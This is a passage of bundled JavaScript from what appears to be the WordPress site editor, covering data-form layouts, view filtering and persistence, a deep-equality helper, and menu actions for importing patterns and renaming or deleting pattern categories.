41108 }) => /* @__PURE__ */ (0, import_jsx_runtime265.jsx)(
41109 Stack,
41110 {
41111 direction: "column",
41112 className: "dataforms-layouts__wrapper",
41113 gap: "lg",
41114 children: /* @__PURE__ */ (0, import_jsx_runtime265.jsx)("div", { className: "dataforms-layouts-row__field", children: /* @__PURE__ */ (0, import_jsx_runtime265.jsx)(
41115 Stack,
41116 {
41117 direction: "row",
41118 gap: "lg",
41119 align: layout.alignment,
41120 children
41121 }
41122 ) })
41123 }
41124 )
41125 },
41126 {
41127 type: "details",
41128 component: FormDetailsField
41129 }
41130 ];
41131 function getFormFieldLayout(type) {
41132 return FORM_FIELD_LAYOUTS.find((layout) => layout.type === type);
41133 }
41134
41135 // packages/dataviews/build-module/components/dataform-layouts/data-form-layout.mjs
41136 var import_jsx_runtime266 = __toESM(require_jsx_runtime(), 1);
41137 var DEFAULT_WRAPPER = ({ children }) => /* @__PURE__ */ (0, import_jsx_runtime266.jsx)(Stack, { direction: "column", className: "dataforms-layouts__wrapper", gap: "lg", children });
41138 function DataFormLayout({
41139 data,
41140 form,
41141 onChange,
41142 validity,
41143 children,
41144 as
41145 }) {
41146 const { fields: fieldDefinitions } = (0, import_element132.useContext)(dataform_context_default);
41147 const markWhenOptional = (0, import_element132.useMemo)(() => {
41148 const requiredCount = fieldDefinitions.filter(
41149 (f2) => !!f2.isValid?.required
41150 ).length;
41151 const optionalCount = fieldDefinitions.length - requiredCount;
41152 return requiredCount > optionalCount;
41153 }, [fieldDefinitions]);
41154 function getFieldDefinition2(field) {
41155 return fieldDefinitions.find(
41156 (fieldDefinition) => fieldDefinition.id === field.id
41157 );
41158 }
41159 const Wrapper = as ?? getFormFieldLayout(form.layout.type)?.wrapper ?? DEFAULT_WRAPPER;
41160 return /* @__PURE__ */ (0, import_jsx_runtime266.jsx)(Wrapper, { layout: form.layout, children: form.fields.map((formField) => {
41161 const FieldLayout = getFormFieldLayout(formField.layout.type)?.component;
41162 if (!FieldLayout) {
41163 return null;
41164 }
41165 const fieldDefinition = !formField.children ? getFieldDefinition2(formField) : void 0;
41166 if (fieldDefinition && fieldDefinition.isVisible && !fieldDefinition.isVisible(data)) {
41167 return null;
41168 }
41169 if (children) {
41170 return children(
41171 FieldLayout,
41172 formField,
41173 validity?.[formField.id],
41174 markWhenOptional
41175 );
41176 }
41177 return /* @__PURE__ */ (0, import_jsx_runtime266.jsx)(
41178 FieldLayout,
41179 {
41180 data,
41181 field: formField,
41182 onChange,
41183 markWhenOptional,
41184 validity: validity?.[formField.id]
41185 },
41186 formField.id
41187 );
41188 }) });
41189 }
41190
41191 // packages/dataviews/build-module/dataform/index.mjs
41192 var import_jsx_runtime267 = __toESM(require_jsx_runtime(), 1);
41193 function DataForm({
41194 data,
41195 form,
41196 fields,
41197 onChange,
41198 validity
41199 }) {
41200 const normalizedForm = (0, import_element133.useMemo)(() => normalize_form_default(form), [form]);
41201 const normalizedFields = (0, import_element133.useMemo)(
41202 () => normalizeFields(fields),
41203 [fields]
41204 );
41205 if (!form.fields) {
41206 return null;
41207 }
41208 return /* @__PURE__ */ (0, import_jsx_runtime267.jsx)(DataFormProvider, { fields: normalizedFields, children: /* @__PURE__ */ (0, import_jsx_runtime267.jsx)(
41209 DataFormLayout,
41210 {
41211 data,
41212 form: normalizedForm,
41213 onChange,
41214 validity
41215 }
41216 ) });
41217 }
41218
41219 // packages/dataviews/build-module/utils/filter-sort-and-paginate.mjs
41220 var import_remove_accents2 = __toESM(require_remove_accents(), 1);
41221 var import_deprecated4 = __toESM(require_deprecated(), 1);
41222 function normalizeSearchInput2(input = "") {
41223 return (0, import_remove_accents2.default)(input.trim().toLowerCase());
41224 }
41225 var EMPTY_ARRAY10 = [];
41226 function filterSortAndPaginate(data, view, fields) {
41227 if (!data) {
41228 return {
41229 data: EMPTY_ARRAY10,
41230 paginationInfo: { totalItems: 0, totalPages: 0 }
41231 };
41232 }
41233 const _fields = normalizeFields(fields);
41234 let filteredData = [...data];
41235 if (view.search) {
41236 const normalizedSearch = normalizeSearchInput2(view.search);
41237 filteredData = filteredData.filter((item) => {
41238 return _fields.filter((field) => field.enableGlobalSearch).some((field) => {
41239 const fieldValue = field.getValue({ item });
41240 const values = Array.isArray(fieldValue) ? fieldValue : [fieldValue];
41241 return values.some(
41242 (value) => normalizeSearchInput2(String(value)).includes(
41243 normalizedSearch
41244 )
41245 );
41246 });
41247 });
41248 }
41249 if (view.filters && view.filters?.length > 0) {
41250 view.filters.forEach((filter) => {
41251 const field = _fields.find(
41252 (_field) => _field.id === filter.field
41253 );
41254 if (field) {
41255 if (filter.operator === OPERATOR_IS_NOT_ALL) {
41256 (0, import_deprecated4.default)("The 'isNotAll' filter operator", {
41257 since: "7.0",
41258 alternative: "'isNone'"
41259 });
41260 }
41261 const handler = field.filter[filter.operator];
41262 if (handler) {
41263 filteredData = filteredData.filter(
41264 (item) => handler(item, field, filter.value)
41265 );
41266 }
41267 }
41268 });
41269 }
41270 const sortByField = view.sort?.field ? _fields.find((field) => {
41271 return field.enableSorting !== false && field.id === view.sort?.field;
41272 }) : null;
41273 const groupByField = view.groupBy?.field ? _fields.find((field) => {
41274 return field.enableSorting !== false && field.id === view.groupBy?.field;
41275 }) : null;
41276 if (sortByField || groupByField) {
41277 filteredData.sort((a2, b2) => {
41278 if (groupByField) {
41279 const groupCompare = groupByField.sort(
41280 a2,
41281 b2,
41282 view.groupBy?.direction ?? "asc"
41283 );
41284 if (groupCompare !== 0) {
41285 return groupCompare;
41286 }
41287 }
41288 if (sortByField) {
41289 return sortByField.sort(a2, b2, view.sort?.direction ?? "desc");
41290 }
41291 return 0;
41292 });
41293 }
41294 let totalItems = filteredData.length;
41295 let totalPages = 1;
41296 if (view.page !== void 0 && view.perPage !== void 0) {
41297 const start2 = (view.page - 1) * view.perPage;
41298 totalItems = filteredData?.length || 0;
41299 totalPages = Math.ceil(totalItems / view.perPage);
41300 filteredData = filteredData?.slice(start2, start2 + view.perPage);
41301 }
41302 return {
41303 data: filteredData,
41304 paginationInfo: {
41305 totalItems,
41306 totalPages
41307 }
41308 };
41309 }
41310
41311 // packages/edit-site/build-module/components/page-patterns/index.mjs
41312 var import_core_data48 = __toESM(require_core_data(), 1);
41313 var import_editor31 = __toESM(require_editor(), 1);
41314 var import_router31 = __toESM(require_router(), 1);
41315
41316 // node_modules/dequal/dist/index.mjs
41317 var has = Object.prototype.hasOwnProperty;
41318 function find(iter, tar, key) {
41319 for (key of iter.keys()) {
41320 if (dequal(key, tar)) return key;
41321 }
41322 }
41323 function dequal(foo, bar) {
41324 var ctor, len, tmp;
41325 if (foo === bar) return true;
41326 if (foo && bar && (ctor = foo.constructor) === bar.constructor) {
41327 if (ctor === Date) return foo.getTime() === bar.getTime();
41328 if (ctor === RegExp) return foo.toString() === bar.toString();
41329 if (ctor === Array) {
41330 if ((len = foo.length) === bar.length) {
41331 while (len-- && dequal(foo[len], bar[len])) ;
41332 }
41333 return len === -1;
41334 }
41335 if (ctor === Set) {
41336 if (foo.size !== bar.size) {
41337 return false;
41338 }
41339 for (len of foo) {
41340 tmp = len;
41341 if (tmp && typeof tmp === "object") {
41342 tmp = find(bar, tmp);
41343 if (!tmp) return false;
41344 }
41345 if (!bar.has(tmp)) return false;
41346 }
41347 return true;
41348 }
41349 if (ctor === Map) {
41350 if (foo.size !== bar.size) {
41351 return false;
41352 }
41353 for (len of foo) {
41354 tmp = len[0];
41355 if (tmp && typeof tmp === "object") {
41356 tmp = find(bar, tmp);
41357 if (!tmp) return false;
41358 }
41359 if (!dequal(len[1], bar.get(tmp))) {
41360 return false;
41361 }
41362 }
41363 return true;
41364 }
41365 if (ctor === ArrayBuffer) {
41366 foo = new Uint8Array(foo);
41367 bar = new Uint8Array(bar);
41368 } else if (ctor === DataView) {
41369 if ((len = foo.byteLength) === bar.byteLength) {
41370 while (len-- && foo.getInt8(len) === bar.getInt8(len)) ;
41371 }
41372 return len === -1;
41373 }
41374 if (ArrayBuffer.isView(foo)) {
41375 if ((len = foo.byteLength) === bar.byteLength) {
41376 while (len-- && foo[len] === bar[len]) ;
41377 }
41378 return len === -1;
41379 }
41380 if (!ctor || typeof foo === "object") {
41381 len = 0;
41382 for (ctor in foo) {
41383 if (has.call(foo, ctor) && ++len && !has.call(bar, ctor)) return false;
41384 if (!(ctor in bar) || !dequal(foo[ctor], bar[ctor])) return false;
41385 }
41386 return Object.keys(bar).length === len;
41387 }
41388 }
41389 return foo !== foo && bar !== bar;
41390 }
41391
41392 // packages/views/build-module/use-view.mjs
41393 var import_element134 = __toESM(require_element(), 1);
41394 var import_data64 = __toESM(require_data(), 1);
41395 var import_preferences11 = __toESM(require_preferences(), 1);
41396
41397 // packages/views/build-module/preference-keys.mjs
41398 function generatePreferenceKey(kind, name2, slug) {
41399 return `dataviews-${kind}-${name2}-${slug}`;
41400 }
41401
41402 // packages/views/build-module/filter-utils.mjs
41403 var SCALAR_VALUES = [
41404 "titleField",
41405 "mediaField",
41406 "descriptionField",
41407 "showTitle",
41408 "showMedia",
41409 "showDescription",
41410 "showLevels",
41411 "infiniteScrollEnabled"
41412 ];
41413 function mergeActiveViewOverrides(view, activeViewOverrides, defaultView) {
41414 if (!activeViewOverrides) {
41415 return view;
41416 }
41417 let result = view;
41418 for (const key of SCALAR_VALUES) {
41419 if (key in activeViewOverrides) {
41420 result = { ...result, [key]: activeViewOverrides[key] };
41421 }
41422 }
41423 if (activeViewOverrides.filters && activeViewOverrides.filters.length > 0) {
41424 const activeFields = new Set(
41425 activeViewOverrides.filters.map((f2) => f2.field)
41426 );
41427 const preserved = (view.filters ?? []).filter(
41428 (f2) => !activeFields.has(f2.field)
41429 );
41430 result = {
41431 ...result,
41432 filters: [...preserved, ...activeViewOverrides.filters]
41433 };
41434 }
41435 if (activeViewOverrides.sort) {
41436 const isDefaultSort = defaultView && view.sort?.field === defaultView.sort?.field && view.sort?.direction === defaultView.sort?.direction;
41437 if (isDefaultSort) {
41438 result = {
41439 ...result,
41440 sort: activeViewOverrides.sort
41441 };
41442 }
41443 }
41444 if (activeViewOverrides.layout) {
41445 result = {
41446 ...result,
41447 layout: {
41448 ...result.layout,
41449 ...activeViewOverrides.layout
41450 }
41451 };
41452 }
41453 if (activeViewOverrides.groupBy) {
41454 result = {
41455 ...result,
41456 groupBy: activeViewOverrides.groupBy
41457 };
41458 }
41459 return result;
41460 }
41461 function stripActiveViewOverrides(view, activeViewOverrides, defaultView) {
41462 if (!activeViewOverrides) {
41463 return view;
41464 }
41465 let result = view;
41466 for (const key of SCALAR_VALUES) {
41467 if (key in activeViewOverrides) {
41468 const { [key]: _, ...rest } = result;
41469 result = rest;
41470 }
41471 }
41472 if (activeViewOverrides.filters && activeViewOverrides.filters.length > 0) {
41473 const activeFields = new Set(
41474 activeViewOverrides.filters.map((f2) => f2.field)
41475 );
41476 result = {
41477 ...result,
41478 filters: (view.filters ?? []).filter(
41479 (f2) => !activeFields.has(f2.field)
41480 )
41481 };
41482 }
41483 if (activeViewOverrides.sort && view.sort?.field === activeViewOverrides.sort.field && view.sort?.direction === activeViewOverrides.sort.direction) {
41484 result = {
41485 ...result,
41486 sort: defaultView?.sort
41487 };
41488 }
41489 if (activeViewOverrides.layout && "layout" in result && result.layout) {
41490 const layout = { ...result.layout };
41491 for (const key of Object.keys(activeViewOverrides.layout)) {
41492 delete layout[key];
41493 }
41494 result = {
41495 ...result,
41496 layout: Object.keys(layout).length > 0 ? layout : void 0
41497 };
41498 }
41499 if (activeViewOverrides.groupBy && "groupBy" in result) {
41500 const { groupBy: _, ...rest } = result;
41501 result = rest;
41502 }
41503 return result;
41504 }
41505
41506 // packages/views/build-module/use-view.mjs
41507 function omit3(obj, keys) {
41508 const result = { ...obj };
41509 for (const key of keys) {
41510 delete result[key];
41511 }
41512 return result;
41513 }
41514 function useView(config2) {
41515 const {
41516 kind,
41517 name: name2,
41518 slug,
41519 defaultView,
41520 activeViewOverrides,
41521 queryParams,
41522 onChangeQueryParams
41523 } = config2;
41524 const preferenceKey = generatePreferenceKey(kind, name2, slug);
41525 const persistedView = (0, import_data64.useSelect)(
41526 (select3) => {
41527 return select3(import_preferences11.store).get(
41528 "core/views",
41529 preferenceKey
41530 );
41531 },
41532 [preferenceKey]
41533 );
41534 const { set } = (0, import_data64.useDispatch)(import_preferences11.store);
41535 const baseView = persistedView ?? defaultView;
41536 const page = Number(queryParams?.page ?? baseView.page ?? 1);
41537 const search = queryParams?.search ?? baseView.search ?? "";
41538 const view = (0, import_element134.useMemo)(() => {
41539 return mergeActiveViewOverrides(
41540 {
41541 ...baseView,
41542 page,
41543 search
41544 },
41545 activeViewOverrides,
41546 defaultView
41547 );
41548 }, [baseView, page, search, activeViewOverrides, defaultView]);
41549 const isModified = !!persistedView;
41550 const updateView = (0, import_element134.useCallback)(
41551 (newView) => {
41552 const urlParams = {
41553 page: newView?.page,
41554 search: newView?.search
41555 };
41556 const preferenceView = stripActiveViewOverrides(
41557 omit3(newView, ["page", "search"]),
41558 activeViewOverrides,
41559 defaultView
41560 );
41561 if (onChangeQueryParams && !dequal(urlParams, { page, search })) {
41562 onChangeQueryParams(urlParams);
41563 }
41564 const comparableBaseView = stripActiveViewOverrides(
41565 baseView,
41566 activeViewOverrides,
41567 defaultView
41568 );
41569 const comparableDefaultView = stripActiveViewOverrides(
41570 defaultView,
41571 activeViewOverrides,
41572 defaultView
41573 );
41574 if (!dequal(comparableBaseView, preferenceView)) {
41575 if (dequal(preferenceView, comparableDefaultView)) {
41576 set("core/views", preferenceKey, void 0);
41577 } else {
41578 set("core/views", preferenceKey, preferenceView);
41579 }
41580 }
41581 },
41582 [
41583 onChangeQueryParams,
41584 page,
41585 search,
41586 baseView,
41587 defaultView,
41588 activeViewOverrides,
41589 set,
41590 preferenceKey
41591 ]
41592 );
41593 const resetToDefault = (0, import_element134.useCallback)(() => {
41594 set("core/views", preferenceKey, void 0);
41595 }, [preferenceKey, set]);
41596 return {
41597 view,
41598 isModified,
41599 updateView,
41600 resetToDefault
41601 };
41602 }
41603
41604 // packages/views/build-module/load-view.mjs
41605 var import_data65 = __toESM(require_data(), 1);
41606 var import_preferences12 = __toESM(require_preferences(), 1);
41607 async function loadView(config2) {
41608 const { kind, name: name2, slug, defaultView, activeViewOverrides, queryParams } = config2;
41609 const preferenceKey = generatePreferenceKey(kind, name2, slug);
41610 const persistedView = (0, import_data65.select)(import_preferences12.store).get(
41611 "core/views",
41612 preferenceKey
41613 );
41614 const baseView = persistedView ?? defaultView;
41615 const page = queryParams?.page ?? 1;
41616 const search = queryParams?.search ?? "";
41617 return mergeActiveViewOverrides(
41618 {
41619 ...baseView,
41620 page,
41621 search
41622 },
41623 activeViewOverrides,
41624 defaultView
41625 );
41626 }
41627
41628 // packages/edit-site/build-module/components/page-patterns/index.mjs
41629 var import_data71 = __toESM(require_data(), 1);
41630 var import_url17 = __toESM(require_url(), 1);
41631
41632 // packages/edit-site/build-module/components/page-patterns/use-pattern-settings.mjs
41633 var import_core_data43 = __toESM(require_core_data(), 1);
41634 var import_data66 = __toESM(require_data(), 1);
41635 var import_element135 = __toESM(require_element(), 1);
41636 var import_block_editor23 = __toESM(require_block_editor(), 1);
41637 var import_editor28 = __toESM(require_editor(), 1);
41638 var { useGlobalStyles: useGlobalStyles3 } = unlock(import_editor28.privateApis);
41639 var { globalStylesDataKey } = unlock(import_block_editor23.privateApis);
41640 function usePatternSettings() {
41641 const { merged: mergedConfig } = useGlobalStyles3();
41642 const storedSettings = (0, import_data66.useSelect)((select3) => {
41643 const { getSettings: getSettings7 } = unlock(select3(store));
41644 return getSettings7();
41645 }, []);
41646 const settingsBlockPatterns = storedSettings.__experimentalAdditionalBlockPatterns ?? // WP 6.0
41647 storedSettings.__experimentalBlockPatterns;
41648 const restBlockPatterns = (0, import_data66.useSelect)(
41649 (select3) => select3(import_core_data43.store).getBlockPatterns(),
41650 []
41651 );
41652 const blockPatterns = (0, import_element135.useMemo)(
41653 () => [
41654 ...settingsBlockPatterns || [],
41655 ...restBlockPatterns || []
41656 ].filter(filterOutDuplicatesByName),
41657 [settingsBlockPatterns, restBlockPatterns]
41658 );
41659 const [globalStyles, globalSettings] = (0, import_element135.useMemo)(() => {
41660 return generateGlobalStyles(mergedConfig, [], {
41661 disableRootPadding: false
41662 });
41663 }, [mergedConfig]);
41664 const settings2 = (0, import_element135.useMemo)(() => {
41665 const {
41666 __experimentalAdditionalBlockPatterns,
41667 styles,
41668 __experimentalFeatures,
41669 ...restStoredSettings
41670 } = storedSettings;
41671 const nonGlobalStyles = (styles ?? []).filter(
41672 (style) => !style.isGlobalStyles
41673 );
41674 return {
41675 ...restStoredSettings,
41676 styles: [...nonGlobalStyles, ...globalStyles],
41677 __experimentalFeatures: globalSettings,
41678 [globalStylesDataKey]: mergedConfig.styles ?? {},
41679 __experimentalBlockPatterns: blockPatterns,
41680 isPreviewMode: true
41681 };
41682 }, [
41683 storedSettings,
41684 blockPatterns,
41685 globalStyles,
41686 globalSettings,
41687 mergedConfig
41688 ]);
41689 return settings2;
41690 }
41691
41692 // packages/edit-site/build-module/components/page-patterns/actions.mjs
41693 var import_components147 = __toESM(require_components(), 1);
41694 var import_i18n136 = __toESM(require_i18n(), 1);
41695
41696 // packages/edit-site/build-module/components/add-new-pattern/index.mjs
41697 var import_components144 = __toESM(require_components(), 1);
41698 var import_element136 = __toESM(require_element(), 1);
41699 var import_i18n133 = __toESM(require_i18n(), 1);
41700 var import_data67 = __toESM(require_data(), 1);
41701 var import_router28 = __toESM(require_router(), 1);
41702 var import_patterns2 = __toESM(require_patterns(), 1);
41703 var import_notices5 = __toESM(require_notices(), 1);
41704 var import_core_data44 = __toESM(require_core_data(), 1);
41705 var import_editor29 = __toESM(require_editor(), 1);
41706 var import_jsx_runtime268 = __toESM(require_jsx_runtime(), 1);
41707 var { useHistory: useHistory17, useLocation: useLocation25 } = unlock(import_router28.privateApis);
41708 var { CreatePatternModal, useAddPatternCategory } = unlock(
41709 import_patterns2.privateApis
41710 );
41711 var { CreateTemplatePartModal } = unlock(import_editor29.privateApis);
41712 function AddNewPattern() {
41713 const history = useHistory17();
41714 const location = useLocation25();
41715 const [showPatternModal, setShowPatternModal] = (0, import_element136.useState)(false);
41716 const [showTemplatePartModal, setShowTemplatePartModal] = (0, import_element136.useState)(false);
41717 const { createPatternFromFile } = unlock((0, import_data67.useDispatch)(import_patterns2.store));
41718 const { createSuccessNotice, createErrorNotice } = (0, import_data67.useDispatch)(import_notices5.store);
41719 const patternUploadInputRef = (0, import_element136.useRef)();
41720 const {
41721 isBlockBasedTheme,
41722 addNewPatternLabel,
41723 addNewTemplatePartLabel,
41724 canCreatePattern,
41725 canCreateTemplatePart
41726 } = (0, import_data67.useSelect)((select3) => {
41727 const { getCurrentTheme, getPostType: getPostType2, canUser } = select3(import_core_data44.store);
41728 return {
41729 isBlockBasedTheme: getCurrentTheme()?.is_block_theme,
41730 addNewPatternLabel: getPostType2(PATTERN_TYPES.user)?.labels?.add_new_item,
41731 addNewTemplatePartLabel: getPostType2(TEMPLATE_PART_POST_TYPE)?.labels?.add_new_item,
41732 // Blocks refers to the wp_block post type, this checks the ability to create a post of that type.
41733 canCreatePattern: canUser("create", {
41734 kind: "postType",
41735 name: PATTERN_TYPES.user
41736 }),
41737 canCreateTemplatePart: canUser("create", {
41738 kind: "postType",
41739 name: TEMPLATE_PART_POST_TYPE
41740 })
41741 };
41742 }, []);
41743 function handleCreatePattern({ pattern }) {
41744 setShowPatternModal(false);
41745 history.navigate(
41746 `/${PATTERN_TYPES.user}/${pattern.id}?canvas=edit`
41747 );
41748 }
41749 function handleCreateTemplatePart(templatePart) {
41750 setShowTemplatePartModal(false);
41751 history.navigate(
41752 `/${TEMPLATE_PART_POST_TYPE}/${templatePart.id}?canvas=edit`
41753 );
41754 }
41755 function handleError() {
41756 setShowPatternModal(false);
41757 setShowTemplatePartModal(false);
41758 }
41759 const controls = [];
41760 if (canCreatePattern) {
41761 controls.push({
41762 icon: symbol_default,
41763 onClick: () => setShowPatternModal(true),
41764 title: addNewPatternLabel
41765 });
41766 }
41767 if (isBlockBasedTheme && canCreateTemplatePart) {
41768 controls.push({
41769 icon: symbol_filled_default,
41770 onClick: () => setShowTemplatePartModal(true),
41771 title: addNewTemplatePartLabel
41772 });
41773 }
41774 if (canCreatePattern) {
41775 controls.push({
41776 icon: upload_default,
41777 onClick: () => {
41778 patternUploadInputRef.current.click();
41779 },
41780 title: (0, import_i18n133.__)("Import pattern from JSON")
41781 });
41782 }
41783 const { categoryMap, findOrCreateTerm } = useAddPatternCategory();
41784 if (controls.length === 0) {
41785 return null;
41786 }
41787 return /* @__PURE__ */ (0, import_jsx_runtime268.jsxs)(import_jsx_runtime268.Fragment, { children: [
41788 addNewPatternLabel && /* @__PURE__ */ (0, import_jsx_runtime268.jsx)(
41789 import_components144.DropdownMenu,
41790 {
41791 controls,
41792 icon: null,
41793 toggleProps: {
41794 variant: "primary",
41795 showTooltip: false,
41796 __next40pxDefaultSize: true
41797 },
41798 text: addNewPatternLabel,
41799 label: addNewPatternLabel
41800 }
41801 ),
41802 showPatternModal && /* @__PURE__ */ (0, import_jsx_runtime268.jsx)(
41803 CreatePatternModal,
41804 {
41805 onClose: () => setShowPatternModal(false),
41806 onSuccess: handleCreatePattern,
41807 onError: handleError
41808 }
41809 ),
41810 showTemplatePartModal && /* @__PURE__ */ (0, import_jsx_runtime268.jsx)(
41811 CreateTemplatePartModal,
41812 {
41813 closeModal: () => setShowTemplatePartModal(false),
41814 blocks: [],
41815 onCreate: handleCreateTemplatePart,
41816 onError: handleError
41817 }
41818 ),
41819 /* @__PURE__ */ (0, import_jsx_runtime268.jsx)(
41820 "input",
41821 {
41822 type: "file",
41823 accept: ".json",
41824 hidden: true,
41825 ref: patternUploadInputRef,
41826 onChange: async (event) => {
41827 const file = event.target.files?.[0];
41828 if (!file) {
41829 return;
41830 }
41831 try {
41832 let currentCategoryId;
41833 if (location.query.postType !== TEMPLATE_PART_POST_TYPE) {
41834 const currentCategory = Array.from(
41835 categoryMap.values()
41836 ).find(
41837 (term) => term.name === location.query.categoryId
41838 );
41839 if (currentCategory) {
41840 currentCategoryId = currentCategory.id || await findOrCreateTerm(
41841 currentCategory.label
41842 );
41843 }
41844 }
41845 const pattern = await createPatternFromFile(
41846 file,
41847 currentCategoryId ? [currentCategoryId] : void 0
41848 );
41849 if (!currentCategoryId && location.query.categoryId !== "my-patterns") {
41850 history.navigate(
41851 `/pattern?categoryId=${PATTERN_DEFAULT_CATEGORY}`
41852 );
41853 }
41854 createSuccessNotice(
41855 (0, import_i18n133.sprintf)(
41856 // translators: %s: The imported pattern's title.
41857 (0, import_i18n133.__)('Imported "%s" from JSON.'),
41858 pattern.title.raw
41859 ),
41860 {
41861 type: "snackbar",
41862 id: "import-pattern-success"
41863 }
41864 );
41865 } catch (err) {
41866 createErrorNotice(err.message, {
41867 type: "snackbar",
41868 id: "import-pattern-error"
41869 });
41870 } finally {
41871 event.target.value = "";
41872 }
41873 }
41874 }
41875 )
41876 ] });
41877 }
41878
41879 // packages/edit-site/build-module/components/page-patterns/rename-category-menu-item.mjs
41880 var import_components145 = __toESM(require_components(), 1);
41881 var import_element137 = __toESM(require_element(), 1);
41882 var import_i18n134 = __toESM(require_i18n(), 1);
41883 var import_patterns3 = __toESM(require_patterns(), 1);
41884 var import_jsx_runtime269 = __toESM(require_jsx_runtime(), 1);
41885 var { RenamePatternCategoryModal } = unlock(import_patterns3.privateApis);
41886 function RenameCategoryMenuItem({ category, onClose }) {
41887 const [isModalOpen, setIsModalOpen] = (0, import_element137.useState)(false);
41888 return /* @__PURE__ */ (0, import_jsx_runtime269.jsxs)(import_jsx_runtime269.Fragment, { children: [
41889 /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(import_components145.MenuItem, { onClick: () => setIsModalOpen(true), children: (0, import_i18n134.__)("Rename") }),
41890 isModalOpen && /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
41891 RenameModal2,
41892 {
41893 category,
41894 onClose: () => {
41895 setIsModalOpen(false);
41896 onClose();
41897 }
41898 }
41899 )
41900 ] });
41901 }
41902 function RenameModal2({ category, onClose }) {
41903 const normalizedCategory = {
41904 id: category.id,
41905 slug: category.slug,
41906 name: category.label
41907 };
41908 const existingCategories = usePatternCategories();
41909 return /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(
41910 RenamePatternCategoryModal,
41911 {
41912 category: normalizedCategory,
41913 existingCategories,
41914 onClose,
41915 overlayClassName: "edit-site-list__rename-modal",
41916 focusOnMount: "firstContentElement",
41917 size: "small"
41918 }
41919 );
41920 }
41921
41922 // packages/edit-site/build-module/components/page-patterns/delete-category-menu-item.mjs
41923 var import_components146 = __toESM(require_components(), 1);
41924 var import_core_data45 = __toESM(require_core_data(), 1);
41925 var import_data68 = __toESM(require_data(), 1);
41926 var import_element138 = __toESM(require_element(), 1);
41927 var import_html_entities9 = __toESM(require_html_entities(), 1);
41928 var import_i18n135 = __toESM(require_i18n(), 1);
41929 var import_notices6 = __toESM(require_notices(), 1);
41930 var import_router29 = __toESM(require_router(), 1);
41931 var import_jsx_runtime270 = __toESM(require_jsx_runtime(), 1);
41932 var { useHistory: useHistory18 } = unlock(import_router29.privateApis);
41933 function DeleteCategoryMenuItem({ category, onClose }) {
41934 const [isModalOpen, setIsModalOpen] = (0, import_element138.useState)(false);
41935 const history = useHistory18();
41936 const { createSuccessNotice, createErrorNotice } = (0, import_data68.useDispatch)(import_notices6.store);
41937 const { deleteEntityRecord, invalidateResolution } = (0, import_data68.useDispatch)(import_core_data45.store);
41938 const onDelete = async () => {
41939 try {
41940 await deleteEntityRecord(
41941 "taxonomy",
41942 "wp_pattern_category",
41943 category.id,
41944 { force: true },
41945 { throwOnError: true }
41946 );
41947 invalidateResolution("getUserPatternCategories");
41948 invalidateResolution("getEntityRecords", [
41949 "postType",
41950 PATTERN_TYPES.user,
41951 { per_page: -1 }
41952 ]);
41953 createSuccessNotice(
41954 (0, import_i18n135.sprintf)(
41955 /* translators: %s: The pattern category's name */
41956 (0, import_i18n135._x)('"%s" deleted.', "pattern category"),
41957 category.label
41958 ),
41959 { type: "snackbar", id: "pattern-category-delete" }
41960 );
41961 onClose?.();
41962 history.navigate(
41963 `/pattern?categoryId=${PATTERN_DEFAULT_CATEGORY}`
41964 );
41965 } catch (error) {
41966 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0, import_i18n135.__)(
41967 "An error occurred while deleting the pattern category."
41968 );
41969 createErrorNotice(errorMessage, {
41970 type: "snackbar",
41971 id: "pattern-category-delete"
41972 });
41973 }
41974 };
41975 return /* @__PURE__ */ (0, import_jsx_runtime270.jsxs)(import_jsx_runtime270.Fragment, { children: [
41976 /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(import_components146.MenuItem, { isDestructive: true, onClick: () => setIsModalOpen(true), children: (0, import_i18n135.__)("Delete") }),
41977 /* @__PURE__ */ (0, import_jsx_runtime270.jsx)(
41978 import_components146.__experimentalConfirmDialog,
41979 {
41980 isOpen: isModalOpen,
41981 onConfirm: onDelete,
41982 onCancel: () => setIsModalOpen(false),
41983 confirmButtonText: (0, import_i18n135.__)("Delete"),
41984 className: "edit-site-patterns__delete-modal",
41985 title: (0, import_i18n135.sprintf)(
41986 // translators: %s: The pattern category's name.
41987 (0, import_i18n135._x)('Delete "%s"?', "pattern category"),
41988 (0, import_html_entities9.decodeEntities)(category.label)
41989 ),
41990 size: "medium",
41991 __experimentalHideHeader: false,
41992 children: (0, import_i18n135.sprintf)(
41993 // translators: %s: The pattern category's name.
41994 (0, import_i18n135.__)(
41995 'Are you sure you want to delete the category "%s"? The patterns will not be deleted.'
41996 ),
41997 (0, import_html_entities9.decodeEntities)(category.label)
41998 )
41999 }
42000 )
42001 ] });
42002 }
42003
42004 // packages/edit-site/build-module/components/page-patterns/actions.mjs
42005 var import_jsx_runtime271 = __toESM(require_jsx_runtime(), 1);
42006 function PatternsActions({ categoryId, type }) {
42007 const { patternCategories } = usePatternCategories();
42008 let patternCategory;
42009 if (type === PATTERN_TYPES.user && !!categoryId) {
42010 patternCategory = patternCategories.find(
42011 (category) => category.name === categoryId
42012 );
42013 }
42014 return /* @__PURE__ */ (0, import_jsx_runtime271.jsxs)(import_jsx_runtime271.Fragment, { children: [
42015 /* @__PURE__ */ (0, import_jsx_runtime271.jsx)(AddNewPattern, {}),
42016 !!patternCategory?.id && /* @__PURE__ */ (0, import_jsx_runtime271.jsx)(
42017 import_components147.DropdownMenu,
42018 {
42019 icon: more_vertical_default,
42020 label: (0, import_i18n136.__)("Actions"),
42021 toggleProps: {
42022 className: "edit-site-patterns__button",
42023 size: "compact"
42024 },
42025 children: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime271.jsxs)(import_components147.MenuGroup, { children: [
42026 /* @__PURE__ */ (0, import_jsx_runtime271.jsx)(
42027 RenameCategoryMenuItem,
42028 {
42029 category: patternCategory,
42030 onClose
42031 }
42032 ),
42033 /* @__PURE__ */ (0, import_jsx_runtime271.jsx)(
42034 DeleteCategoryMenuItem,
42035 {
42036 category: patternCategory,
42037 onClose
42038 }
42039 )
42040 ] })
42041 }
42042 )
42043 ] });
42044 }
42045
42046 // packages/edit-site/build-module/components/dataviews-actions/index.mjs
42047 var import_i18n137 = __toESM(require_i18n(), 1);
42048 var import_element139 = __toESM(require_element(), 1);
42049 var import_router30 = __toESM(require_router(), 1);
42050 var import_data69 = __toESM(require_data(), 1);
42051 var import_core_data46 = __toESM(require_core_data(), 1);
42052 var import_url16 = __toESM(require_url(), 1);
